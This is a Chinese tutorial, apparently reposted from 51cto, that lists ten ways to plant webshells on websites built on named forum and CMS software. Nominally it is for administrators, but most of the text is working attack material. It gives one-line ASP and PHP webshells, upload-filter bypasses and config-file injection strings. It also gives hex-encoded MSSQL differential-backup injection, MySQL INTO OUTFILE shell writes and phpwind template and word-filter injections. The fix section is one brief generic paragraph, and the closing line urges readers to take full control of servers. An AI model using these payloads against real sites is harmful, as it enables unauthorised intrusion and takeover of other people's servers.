黑客在入侵企业网站时,一般要经过各类方式获取webshell从而得到企业网站的控制权,而后方便进行以后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,但愿广大的企业网络管理员可以经过了解获取webshell的途径,对企业自身进行防范。php
1、直接上传获取webshellmysql
这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传。php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就能够直接上传jsp文件。文 件名是原来的文件名,bo-blog后台能够能够直接上传。php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网 5.0和6.0、早期的许多整站系统),因过滤上传文件不严,致使用户能够直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权 限。web
2、添加修改上传类型sql
如今不少的脚本程序上传模块不是只容许上传合法文件类型,而大多数的系统是容许添加上传类型,bbsxp后台能够添加asa|asP类 型,ewebeditor的后台也可添加asa类型,经过修改后咱们能够直接上传asa后缀的webshell了,还有一种状况是过滤了。asp,能够添 加。aspasp的文件类型来上传得到webshell.php系统的后台,咱们能够添加。php.g1f的上传类型,这是php的一个特性,最后的哪一个 只要不是已知的文件类型便可,php会将php.g1f做为。php来正常运行,从而也可成功拿到shell.LeadBbs3.14后台得到 webshell方法是:在上传类型中增长asp ,注意,asp后面是有个空格的,而后在前台上传ASP马,固然也要在后面加个空格!shell
3、利用后台管理功能写入webshell数据库
上传漏洞基本上补的也差很少了,因此咱们进入后台后还能够经过修改相关文件来写入webshell.比较的典型的有dvbbs6.0,还有 leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台得到webshell另外一方法是:添加一个新 的友情连接,在网站名称处写上冰狐最小马便可,最小马先后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就 是咱们想要的shell.安全
4、利用后台管理向配置文件写webshell服务器
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同窗录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有不少php程序均可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval request(chr(35))%><%',这样就会造成先后对应,最小马也就运行了。<%eval request(chr(35))%>能够用lake2的eval发送端以及最新的2006 客户端来连,须要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话 马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,咱们就获得马地址http://网站/admin/rootclass_menu_config.asp.网络
5、利用后台数据库备份及恢复获取webshelljsp
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤致使能够把任意文件后缀改 为asp,从而获得webshell,msssql版的程序就直接应用了access版的代码,致使sql版照样能够利用。还能够备份网站asp文件为其 他后缀 如。txt文件,从而能够查看并得到网页源代码,并得到更多的程序信息增长得到webshell的机会。在实际运用中常常会碰到没有上传功能的时 候,可是有asp系统在运行,利用此方法来查看源代码来得到其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管 理中能够插入最小马而后备份成。asp文件便可。在谈谈突破上传检测的方法,不少asp程序在即便改了后缀名后也会提示文件非法,经过在。asp文件头加 上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改 gif后缀后上传也能够突破检测,而后备份为。asp文件,成功获得webshell.
6、利用数据库压缩功能
能够将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写 上<%eval request (chr(35))%>, 提交后,在数据库操做中压缩数据库,能够成功压缩出。asp文件,用海洋的最小马的eval客户端连就获得一个webshell.
7、asp+mssql系统
这里须要提一点动网mssql版,可是能够直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,而后记住其上传路径。写一个本地提 交的表单,代码以下:<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"> <p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置:<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form>另存为。htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复 制到的位置”那里,提交就获得咱们可爱的WebShell了,恢复代码和此相似,修改相关地方就能够了。没有遇到事后台执行mssql命令比较强大的 asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。能够利用mssql注入差别备 份webshell,通常后台是显示了绝对路径,只要有了注入点基本上就能够差别备份成功。下面是差别备份的主要语句代码,利用动网7.0的注入漏洞能够 用差别备份一个webshell,能够用利用上面提到的方法,将conn.asp文件备份成。txt文件而得到库名。
差别备份的主要代码:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——这段代码中,0x626273是要备份的库名bbs的十六进制,能够是其余名字好比bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六 进制,也就是你要备份的webshell路径。固然也能够用比较常见备份方式来得到webshell,惟一的不足就是备份后的文件过大,若是备份数据库中 有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差别备份是成功率比较高的方法,而且极大的减小备份文件的 大小。
8、php+mysql系统
后台须要有mysql数据查询功能,咱们就能够利用它执行SELECT …… INTO OUTFILE查询输出php文件,由于全部的数据是存放在mysql里的,因此咱们能够经过正常手段把咱们的webshell代码插入mysql在利用 SELECT …… INTO OUTFILE语句导出shell.在mysql操做里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径‘ 就能够得到了一个<?eval($_POST[a]);?>的最小马' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是咱们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较广泛,先利用phpmyadmin的路径泄 露漏洞,比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.
就能够暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot \\a.php.下面的方法是比较经常使用的一个导出webshell的方法,也能够写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一 个管理员账号CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')
select cmd from a into outfile '路径/b.php' DROP TABLE IF EXISTS a访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
若是遇到能够执行php命令就简单多了,典型的表明是BO-BLOG,在后台的php命令框输入如下代码:
<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>
就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马,最后用lanker 的客户端来链接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代 码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。
9、phpwind论坛从后台到webshell的三种方式
方式1 模板法进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不能够有任何字符。
EOT;eval($a);print <<<EOT然后获得一个shell为http://网站/bbs/index.php.
方式2 脏话过滤法进入安全管理 ◇ 不良词语过滤。新增不良词语写 a‘]=’aa‘;eval($_POST[’a‘]);//
替换为那里能够随意写,然后获得一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php.
方式3 用户等级管理新创建会员组,头衔你能够随便写,可是千万不要写单双引号特殊符号,升级图片号写a‘;eval($_POST[’a‘]);// ,升级点数依然能够随意写。然后获得一个shell地址为http://网站/bbs/data/bbscache/level.php.以上三种方式得 到webshellr的密码是a,为lanker的一句话后门服务端。
10、也能够利用网站访问计数系统记录来获取webshell
最明显的就是某私服程序内的阿江计数程序,能够经过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交, 便可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,咱们能够经过http://网站/count%23.asa访 问获得webshell,因为阿江计数程序过滤了%和+,将最小马改为<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交,而后用lake2 的eval客户端来提交,值得一提的是若是进到计数后台,能够清理某时某刻的数据,一旦插入asp木马失败,能够清理数据库再次操做。
解决方案因为本文涉及的代码版本不少,因此不可能提供一个完美的解决方案。有能力者能够针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统 使用也可删除此文件。你们若是不会修补,能够到相关官方网站下载最新补丁进行修复更新。同时也请你们能时刻关注各大安全网络发布的最新公告,若本身发现相 关漏洞也可及时通知官方网站。
后记其实,从后台获得webshell的技巧应该还有不少的,关键是要看你们怎么灵活运用、举一反三,但愿本文的方法能起到抛砖引玉的做用。 各位加油吧,让咱们将服务器控制到底!
声明:转载于51cto